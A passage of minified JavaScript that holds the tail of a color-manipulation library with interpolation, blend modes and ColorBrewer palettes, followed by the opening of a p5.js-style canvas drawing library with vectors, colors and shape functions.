[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
